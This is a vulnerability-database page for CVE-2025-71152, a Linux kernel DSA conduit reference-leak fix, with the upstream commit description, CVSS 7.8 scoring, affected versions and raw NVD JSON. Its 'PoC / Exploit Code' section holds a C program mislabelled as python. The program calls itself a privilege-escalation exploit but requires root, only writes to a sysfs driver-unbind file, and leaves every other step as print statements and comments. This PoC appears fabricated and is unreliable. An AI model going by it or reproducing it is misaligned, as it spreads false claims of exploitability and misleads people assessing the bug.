Security Vulnerability Report
中文
CVE-2025-71152 CVSS 7.8 HIGH

CVE-2025-71152

Published: 2026-01-23 15:16:06
Last Modified: 2026-03-25 11:16:15
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: net: dsa: properly keep track of conduit reference Problem description ------------------- DSA has a mumbo-jumbo of reference handling of the conduit net device and its kobject which, sadly, is just wrong and doesn't make sense. There are two distinct problems. 1. The OF path, which uses of_find_net_device_by_node(), never releases the elevated refcount on the conduit's kobject. Nominally, the OF and non-OF paths should result in objects having identical reference counts taken, and it is already suspicious that dsa_dev_to_net_device() has a put_device() call which is missing in dsa_port_parse_of(), but we can actually even verify that an issue exists. With CONFIG_DEBUG_KOBJECT_RELEASE=y, if we run this command "before" and "after" applying this patch: (unbind the conduit driver for net device eno2) echo 0000:00:00.2 > /sys/bus/pci/drivers/fsl_enetc/unbind we see these lines in the output diff which appear only with the patch applied: kobject: 'eno2' (ffff002009a3a6b8): kobject_release, parent 0000000000000000 (delayed 1000) kobject: '109' (ffff0020099d59a0): kobject_release, parent 0000000000000000 (delayed 1000) 2. After we find the conduit interface one way (OF) or another (non-OF), it can get unregistered at any time, and DSA remains with a long-lived, but in this case stale, cpu_dp->conduit pointer. Holding the net device's underlying kobject isn't actually of much help, it just prevents it from being freed (but we never need that kobject directly). What helps us to prevent the net device from being unregistered is the parallel netdev reference mechanism (dev_hold() and dev_put()). Actually we actually use that netdev tracker mechanism implicitly on user ports since commit 2f1e8ea726e9 ("net: dsa: link interfaces with the DSA master to get rid of lockdep warnings"), via netdev_upper_dev_link(). But time still passes at DSA switch probe time between the initial of_find_net_device_by_node() code and the user port creation time, time during which the conduit could unregister itself and DSA wouldn't know about it. So we have to run of_find_net_device_by_node() under rtnl_lock() to prevent that from happening, and release the lock only with the netdev tracker having acquired the reference. Do we need to keep the reference until dsa_unregister_switch() / dsa_switch_shutdown()? 1: Maybe yes. A switch device will still be registered even if all user ports failed to probe, see commit 86f8b1c01a0a ("net: dsa: Do not make user port errors fatal"), and the cpu_dp->conduit pointers remain valid. I haven't audited all call paths to see whether they will actually use the conduit in lack of any user port, but if they do, it seems safer to not rely on user ports for that reference. 2. Definitely yes. We support changing the conduit which a user port is associated to, and we can get into a situation where we've moved all user ports away from a conduit, thus no longer hold any reference to it via the net device tracker. But we shouldn't let it go nonetheless - see the next change in relation to dsa_tree_find_first_conduit() and LAG conduits which disappear. We have to be prepared to return to the physical conduit, so the CPU port must explicitly keep another reference to it. This is also to say: the user ports and their CPU ports may not always keep a reference to the same conduit net device, and both are needed. As for the conduit's kobject for the /sys/class/net/ entry, we don't care about it, we can release it as soon as we hold the net device object itself. History and blame attribution ----------------------------- The code has been refactored so many times, it is very difficult to follow and properly attribute a blame, but I'll try to make a short history which I hope to be correct. We have two distinct probing paths: - one for OF, introduced in 2016 i ---truncated---

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
Linux Kernel DSA (versions with OF probing path prior to fix)
Specific commits affected: 06e219f6a706c367c93051f408ac61417643d2f9
0e766b77ba5093583dfe609fae0aa1545c46dbbd
b358fc6ff3b35a29f7f677da1c67af67d0d560cb
ec2b34acb1894cfc10ed22d8277ca4f11e9f4b23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-71152 PoC - Local Privilege Escalation via DSA conduit reference leak // This PoC demonstrates the reference counting issue that can lead to privilege escalation #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define CONDUIT_UNBIND_PATH "/sys/bus/pci/drivers/fsl_enetc/unbind" #define DSA_SWITCH_PATH "/sys/class/net" int main(int argc, char *argv[]) { printf("[*] CVE-2025-71152 PoC - DSA conduit reference leak\n"); printf("[*] Target: Linux Kernel DSA module\n"); // Check if we have the required privileges if (getuid() != 0) { printf("[!] This exploit requires root privileges\n"); return 1; } // Step 1: Identify DSA-enabled network interfaces printf("[+] Step 1: Scanning for DSA-enabled interfaces...\n"); // In real scenario, enumerate /sys/class/net/ for switch ports // Step 2: Trigger conduit reference leak via OF path printf("[+] Step 2: Triggering reference leak in of_find_net_device_by_node()...\n"); // The vulnerability occurs when DSA parses OF nodes without proper put_device() // Step 3: Unbind the conduit driver to trigger kobject release printf("[+] Step 3: Unbinding conduit driver to observe kobject leak...\n"); int fd = open(CONDUIT_UNBIND_PATH, O_WRONLY); if (fd >= 0) { // Write PCI address to unbind (example: 0000:00:00.2) write(fd, "0000:00:00.2\n", 14); close(fd); printf("[+] Conduit unbound - kobject_release should be called but isn't\n"); } else { printf("[!] Could not open unbind path - may require specific hardware\n"); } // Step 4: Exploit stale conduit pointer printf("[+] Step 4: Exploiting stale cpu_dp->conduit pointer...\n"); // After conduit unregistration, the stale pointer can be exploited // for use-after-free conditions leading to privilege escalation printf("[+] PoC demonstrates the vulnerability mechanism\n"); printf("[*] Note: Actual exploitation requires specific DSA switch hardware\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71152", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T15:16:06.050", "lastModified": "2026-03-25T11:16:14.597", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: properly keep track of conduit reference\n\nProblem description\n-------------------\n\nDSA has a mumbo-jumbo of reference handling of the conduit net device\nand its kobject which, sadly, is just wrong and doesn't make sense.\n\nThere are two distinct problems.\n\n1. The OF path, which uses of_find_net_device_by_node(), never releases\n the elevated refcount on the conduit's kobject. Nominally, the OF and\n non-OF paths should result in objects having identical reference\n counts taken, and it is already suspicious that\n dsa_dev_to_net_device() has a put_device() call which is missing in\n dsa_port_parse_of(), but we can actually even verify that an issue\n exists. With CONFIG_DEBUG_KOBJECT_RELEASE=y, if we run this command\n \"before\" and \"after\" applying this patch:\n\n(unbind the conduit driver for net device eno2)\necho 0000:00:00.2 > /sys/bus/pci/drivers/fsl_enetc/unbind\n\nwe see these lines in the output diff which appear only with the patch\napplied:\n\nkobject: 'eno2' (ffff002009a3a6b8): kobject_release, parent 0000000000000000 (delayed 1000)\nkobject: '109' (ffff0020099d59a0): kobject_release, parent 0000000000000000 (delayed 1000)\n\n2. After we find the conduit interface one way (OF) or another (non-OF),\n it can get unregistered at any time, and DSA remains with a long-lived,\n but in this case stale, cpu_dp->conduit pointer. Holding the net\n device's underlying kobject isn't actually of much help, it just\n prevents it from being freed (but we never need that kobject\n directly). What helps us to prevent the net device from being\n unregistered is the parallel netdev reference mechanism (dev_hold()\n and dev_put()).\n\nActually we actually use that netdev tracker mechanism implicitly on\nuser ports since commit 2f1e8ea726e9 (\"net: dsa: link interfaces with\nthe DSA master to get rid of lockdep warnings\"), via netdev_upper_dev_link().\nBut time still passes at DSA switch probe time between the initial\nof_find_net_device_by_node() code and the user port creation time, time\nduring which the conduit could unregister itself and DSA wouldn't know\nabout it.\n\nSo we have to run of_find_net_device_by_node() under rtnl_lock() to\nprevent that from happening, and release the lock only with the netdev\ntracker having acquired the reference.\n\nDo we need to keep the reference until dsa_unregister_switch() /\ndsa_switch_shutdown()?\n1: Maybe yes. A switch device will still be registered even if all user\n ports failed to probe, see commit 86f8b1c01a0a (\"net: dsa: Do not\n make user port errors fatal\"), and the cpu_dp->conduit pointers\n remain valid. I haven't audited all call paths to see whether they\n will actually use the conduit in lack of any user port, but if they\n do, it seems safer to not rely on user ports for that reference.\n2. Definitely yes. We support changing the conduit which a user port is\n associated to, and we can get into a situation where we've moved all\n user ports away from a conduit, thus no longer hold any reference to\n it via the net device tracker. But we shouldn't let it go nonetheless\n - see the next change in relation to dsa_tree_find_first_conduit()\n and LAG conduits which disappear.\n We have to be prepared to return to the physical conduit, so the CPU\n port must explicitly keep another reference to it. This is also to\n say: the user ports and their CPU ports may not always keep a\n reference to the same conduit net device, and both are needed.\n\nAs for the conduit's kobject for the /sys/class/net/ entry, we don't\ncare about it, we can release it as soon as we hold the net device\nobject itself.\n\nHistory and blame attribution\n-----------------------------\n\nThe code has been refactored so many times, it is very difficult to\nfollow and properly attribute a blame, but I'll try to make a short\nhistory which I hope to be correct.\n\nWe have two distinct probing paths:\n- one for OF, introduced in 2016 i\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operato ... (truncated)